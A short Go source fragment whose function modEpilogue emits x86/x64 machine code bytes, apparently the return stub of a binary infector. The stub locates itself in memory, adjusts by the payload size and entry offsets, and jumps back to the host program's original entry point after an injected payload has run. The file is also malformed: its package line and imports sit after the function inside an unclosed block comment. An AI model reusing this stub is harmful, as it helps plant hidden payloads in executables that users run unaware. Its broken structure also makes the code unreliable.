func modEpilogue(pSize int32, pEntry interface{}, oEntry interface{}) []byte {
	encPsize := make([]byte, 4)
	binary.LittleEndian.PutUint32(encPsize, uint32(pSize))
	var numZeros uint32 = 0 
	for _, b := range encPsize {
		if b != 0x00 {
			numZeros++
		}
	}
	var incOff uint32
	switch pEntry.(type) {
	case uint64:
		incOff = 0x12 
	case uint32:
		incOff = 0xf
	}
	incOff += (numZeros - 1)
	var shellcode bytes.Buffer;
	shellcode.Write([]byte{0xe8})  
	encOff := make([]byte, 4)
	binary.LittleEndian.PutUint32(encOff, incOff)
	shellcode.Write(encOff)
	switch oEntry.(type) {
	case uint64:
		shellcode.Write([]byte{0x48, 0x83, 0xe8})
	case uint32:
		shellcode.Write([]byte{0x83, 0xe8})
	} 
	shellcode.Write(encPsize[:numZeros])
	encPentry := make([]byte, 4)
	switch v := pEntry.(type) {
	case uint64:
		binary.LittleEndian.PutUint32(encPentry, uint32(v))
		shellcode.Write([]byte{0x48, 0x2d})
	case uint32:
		binary.LittleEndian.PutUint32(encPentry, v)
		shellcode.Write([]byte{0x2d})
	}
	shellcode.Write(encPentry)
	encOentry := make([]byte, 4)
	switch v := oEntry.(type) {
	case uint64:
		binary.LittleEndian.PutUint32(encOentry, uint32(v))
		shellcode.Write([]byte{0x48, 0x05})
	case uint32:
		binary.LittleEndian.PutUint32(encOentry, v)
		shellcode.Write([]byte{0x05})
	}
	shellcode.Write(encOentry)
	switch oEntry.(type) {
	case uint64:
		shellcode.Write([]byte{0xff, 0xe0, 0x48, 0x8b, 0x04, 0x24, 0xc3})
	case uint32:
		shellcode.Write([]byte{0xff, 0xe0, 0x8b, 0x04, 0x24, 0xc3})
	}
	return shellcode.Bytes()
}
/*
x64 - pEntry uint64 / oEntry uint64
x86 - pEntry uint32 / oEntry uint32
package main
import(
	"encoding/binary"
	"bytes"
)